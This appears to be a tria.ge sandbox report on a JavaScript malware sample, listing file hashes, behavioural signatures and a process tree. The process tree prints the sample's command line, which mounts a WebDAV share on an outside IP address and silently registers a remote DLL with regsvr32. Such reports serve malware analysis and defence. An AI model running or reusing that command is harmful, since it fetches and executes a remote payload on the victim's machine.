Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
121s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
24/07/2024, 02:31
Static task
static1
Behavioral task
behavioral1
Sample
98086afeaf4dc6f2ac2320a19abf7f9214fff671d7eb4f74ee5bdbbc50d5dc36.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
98086afeaf4dc6f2ac2320a19abf7f9214fff671d7eb4f74ee5bdbbc50d5dc36.js
Resource
win10v2004-20240709-en
General
-
Target
98086afeaf4dc6f2ac2320a19abf7f9214fff671d7eb4f74ee5bdbbc50d5dc36.js
-
Size
6KB
-
MD5
2f5e10dd5f7ba07f77061d1916067316
-
SHA1
6e53f43db91be0638589ecc267554e51fd0b1e08
-
SHA256
98086afeaf4dc6f2ac2320a19abf7f9214fff671d7eb4f74ee5bdbbc50d5dc36
-
SHA512
1af7b2adc2568967272c33af29f114135a870220700fdf55caabe05f47b729ceaae5c6314ee46c73f615eb748ab8293867b687bb7a0965f7a740a9075f7a76dc
-
SSDEEP
96:fMgBmPdQjKV5Fgpk/gBCSq/BB6Ak1Sq/BB68U:Eg8dAwUyYdq/BB6Akkq/BB6p
Malware Config
Signatures
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 804 wrote to memory of 2884 804 wscript.exe 28 PID 804 wrote to memory of 2884 804 wscript.exe 28 PID 804 wrote to memory of 2884 804 wscript.exe 28 PID 2884 wrote to memory of 2908 2884 cmd.exe 30 PID 2884 wrote to memory of 2908 2884 cmd.exe 30 PID 2884 wrote to memory of 2908 2884 cmd.exe 30
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\98086afeaf4dc6f2ac2320a19abf7f9214fff671d7eb4f74ee5bdbbc50d5dc36.js1⤵
- Suspicious use of WriteProcessMemory
PID:804 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\211312711423002.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:2908
-
-